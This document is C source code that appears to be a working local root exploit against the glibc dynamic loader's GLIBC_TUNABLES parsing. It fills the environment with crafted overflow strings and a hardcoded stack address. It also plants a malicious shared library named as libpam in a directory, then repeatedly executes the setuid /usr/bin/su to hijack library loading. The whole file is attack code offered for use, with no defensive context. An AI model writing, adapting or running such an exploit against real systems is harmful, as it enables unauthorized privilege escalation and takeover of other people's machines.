#define _GNU_SOURCE
#include<stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdint.h>
#define NUM_EMPTY 0x1000
#define NUM_ENV 0x1000 + 0x11 + 0x1
#define ENV_ITEM_SIZE ((32 * 4096) - 1)

// Enable ASLR
// #define STACK_TARGET   0x00007ffdfffff018

// NO ASLR
#define STACK_TARGET 0x00007ffffff0c808

char* p64(uint64_t val){
    char* ret = malloc(8);
    memset(ret, 0, 8);
    memcpy(ret, &val, 8);
    ret[7] = 0;
    return ret;
}
char* allocation_helper(const char* base, int size, char fill){
    char* ret = NULL;
    char* chunk = malloc(size + 1);
    memset(chunk, fill, size + 1);
    chunk[size] = 0;
    asprintf(&ret, "%s%s", base, chunk);
    free(chunk);
    return ret;
}

char * create_u64_filler(uint64_t val, size_t size) {
    uint64_t * ret = malloc(size + 1);
    // We need to make sure the allocation does not contain a premature null byte
    memset(ret, 0x41, size);
    for (int i = 0; i < size / 8; i++) {
        ret[i] = val;
    }
    // force null-termination
    char* ret2 = (char*)ret;
    ret2[size] = 0;
    return ret2;
}

void setup_dir(){
    system("rm -rf ./\x55");
    mkdir("./\x55", 0777);
    system("cp /usr/lib/x86_64-linux-gnu/libc.so.6 ./\x55/libc.so.6");
    system("cp ./suid_lib.so ./\x55/libpam.so.0");
    system("cp ./suid_lib.so ./\x55/libpam_misc.so.0");
}
int main(void){
    
    setup_dir();

    char ** new_env = malloc(sizeof(char *) * NUM_ENV + 1);
    memset(new_env, 0, sizeof(char *) * NUM_ENV + 1);

    if (new_env == NULL){
        printf("malloc failed\n");
        exit(1);
    }

    const char* normal1 = "GLIBC_TUNABLES=glibc.malloc.mxfast:";
    const char* overflow = "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=";

    int i = 0;

    // Eat the RW section of the binary
    new_env[i++] = allocation_helper(normal1, 0xc00, 'x');

    // Allocate a new section by __minimal_malloc with 2 pages
    new_env[i++] = allocation_helper(normal1, 0x1000 , 'A');

    // trigger overflow with 0x400 bytes
    new_env[i++] = allocation_helper(overflow, 0x4f0, 'B');
    
    // make the STACK_TARGET 8 bytes aligned
    new_env[i++] = allocation_helper("", 0x1e, 'A');



    for(; i <= NUM_EMPTY; i++){
        new_env[i] = "";
    }

    new_env[0x18 * 8] = p64(STACK_TARGET);
    
    // align the struct link_map
    new_env[0xff0] = allocation_helper(normal1, 0x4f0, 'C');

    for(; i < NUM_ENV - 1; i++){
        new_env[i] = create_u64_filler(0xffffffffffffffd0, ENV_ITEM_SIZE);
    }

    new_env[i-1] = "12345678901";
    new_env[i] = 0;


    char* new_argv[3] = {0};

    new_argv[0] = "/usr/bin/su";
    new_argv[1] = "--lmao";

    int pid = fork();

    if (pid < 0){
        perror("fork failed");
        exit(1);
    }

    if (pid){
        int status = 0;
        waitpid(pid, &status, 0);
        if (status == 0){
            puts("[+] Goodbye");
            exit(0);
        }

        printf(".");
    } else {
        int rc = execve(new_argv[0], new_argv, new_env);
        perror("execve");
    }

    
}
